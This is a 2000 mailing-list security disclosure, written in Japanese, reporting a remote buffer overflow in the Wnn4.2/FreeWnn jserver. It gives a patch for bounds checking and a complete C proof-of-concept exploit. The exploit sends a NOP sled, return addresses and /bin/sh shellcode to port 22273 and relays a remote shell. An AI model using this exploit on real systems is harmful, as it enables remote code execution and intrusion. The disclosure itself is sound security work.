Return-Path: freewnn-admin@tomo.tomo.gr.jp Date: Wed, 08 Mar 2000 08:59:46 +0900 From: UNYUN Reply-To: freewnn@tomo.tomo.gr.jp Subject: [freewnn:00355] security problem of jserver To: freewnn@tomo.tomo.gr.jp Message-Id: <38C597F2140.D8E7SHADOWPENGUIN@fox.nightland.net> X-ML-Name: freewnn X-Mail-Count: 00355 X-MLServer: fml [fml 2.2_BETA#24]; post only (anyone can post) X-ML-Info: If you have a question, please make a contact with freewnn-admin@tomo.gr.jp; X-Mailer: Becky! ver 1.26 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Precedence: bulk Lines: 206 はじめまして。 Shadow Penguin Security 代表 UNYUN と申します。 私たちは、OSやアプリケーションのセキュリティ検査、およびセキュリティ関連 技術に関する情報交換などを行っている団体です。 Wnn4.2のjserverを検査した所、Buffer Overflowによるセキュリティホールが存 在することを確認しました。jserverの動作しているホストに対しリモートから jserverの動作権限で任意のコードを実行することができます。 http://www.freewnn.orgにて公開されているFreeWnn-1.10.tar.gz、および FreeWnn-1.1.1-a016.tar.gzを検査させて頂きましたが、同様の問題があるように 思われます。 Turbolinux3.0付属のWnn4.2での調査結果をご報告致します。 ---------- 1. 概要 Wnn4.2/jserverに対し、異常な長さのコマンドを送ることによりバッファオーバー フローが発生します。バッファオーバフローはJS_OPEN、JS_MKDIR、JS_FILE_INFO など、文字列処理を伴うほとんどのコマンドで発生します。このバッファオーバー フローにより、スタック上のローカルバッファを上書きすることができ、任意のRET アドレスを設定することができるため、文字列中に記述された任意の機械語コード をリモートから実行させることができます。 2. 危険性 外部から不正なshellコマンドを実行されるなどの危険性があり、jserverが root権限で動作している場合は、不正なアカウント追加や.rhostsファイルの書き 換え等による外部からの不正侵入、およびroot権限の不正利用等の危険性があり ます。 3. 解決法 このバッファオーバーフローに関するセキュリティ問題は、適切なバウンドチェッ クを行うことにより回避することが可能です。コードを再確認し、バウンドチェッ ク漏れのある部分を修正します。クライアントから送信された文字列をgets_cur にてバウンドチェック無しでローカルバッファに保存している個所が多くありま すが、こういったローカルバッファへのコピーの際は全て文字列長をチェックし ます。 (例) - do_env.c void js_open() {register int version; /* register int i; */ char tmp_buf[256]; version = get4_cur(); gets_cur(tmp_buf); ~~~~~~~~~~~~~~~~~~~ ↓ gets_cur(tmp_buf,256); に変更 - de.c void gets_cur(cp) register char *cp; { while((*cp++ = getc_cur()) != '\0'); } ↓ void gets_cur(cp,len) register char *cp; int len; { int i; for (i=0;i #include #include #include #include #include #include #include #include #include #define TARGET_PORT 22273 #define COMMAND 0x01 #define VERSION 0x4000 #define MAXBUF 800 #define STR1_SIZE 10 #define NOP 0x90 #define RET 0xbffffcb4 #define ADJUST 3 char *shellcode = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab" "\x89\xfa\x31\xc0\xab\xb0\x04\x04\x07\xcd\x80\x31\xc0\x89\xc3\x40\xcd\x80" "\xe8\xd9\xff\xff\xff/bin/sh"; void putint(sockfd,c) int sockfd,c; { unsigned char tmp[4]; tmp[0]=(c >> (8 * 3))&0xff; tmp[1]=(c >> (8 * 2))&0xff; tmp[2]=(c >> (8 * 1))&0xff; tmp[3]=c&0xff; write(sockfd,tmp,4); } void term (int p, int c) { char buf[1032]; fd_set rfds; int i; while(1){ FD_ZERO (&rfds); FD_SET (p, &rfds); FD_SET (c, &rfds); if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1) return; if (FD_ISSET (c, &rfds)){ if ((i = read (c, buf, sizeof (buf))) < 1) exit (0); else write (p, buf, i); } if (FD_ISSET (p, &rfds)){ if ((i = read (p, buf, sizeof (buf))) < 1) exit (0); else write (c, buf, i); } } } main(int argc,char *argv[]) { int sockfd,i; struct in_addr addr; struct sockaddr_in target; struct hostent *hs; char buf[MAXBUF]; if (argc<2){ printf("usage : %s TargetHost\n",argv[0]); exit(1); } sockfd=socket(AF_INET, SOCK_STREAM, 0); target.sin_family=AF_INET; target.sin_port=htons(TARGET_PORT); if ((target.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if ((hs=gethostbyname(argv[1]))==NULL){ printf("Can not resolve specified host.\n"); exit(1); } target.sin_family = hs->h_addrtype; memcpy((caddr_t)&target.sin_addr.s_addr,hs->h_addr,hs->h_length); } if (connect(sockfd, (struct sockaddr*)&target, sizeof(target))!=0){ printf("Can not connect to %s:%d\n",argv[1],TARGET_PORT); exit(1); } putint(sockfd,COMMAND); putint(sockfd,VERSION); memset(buf,NOP,MAXBUF); printf("Jumping Address=%x\n",RET); for (i=100+ADJUST;i<400+ADJUST;i+=4){ buf[i+3]=(RET>>24)&0xff; buf[i+2]=(RET>>16)&0xff; buf[i+1]=(RET>>8)&0xff; buf[i+0]=RET&0xff; } buf[STR1_SIZE]=0; buf[MAXBUF-1]=0; memcpy(buf+600+ADJUST,shellcode,strlen(shellcode)); write(sockfd,buf,MAXBUF); printf("Connected to %d\n",TARGET_PORT); term(sockfd,0); } 以上、ご報告させて頂きます。 ----- UNYUN % The Shadow Penguin Security [ http://shadowpenguin.backsection.net ] shadowpenguin@backsection.net (webmaster) % eEye Digital Security Team [ http://www.eEye.com ] unyun@eEye.com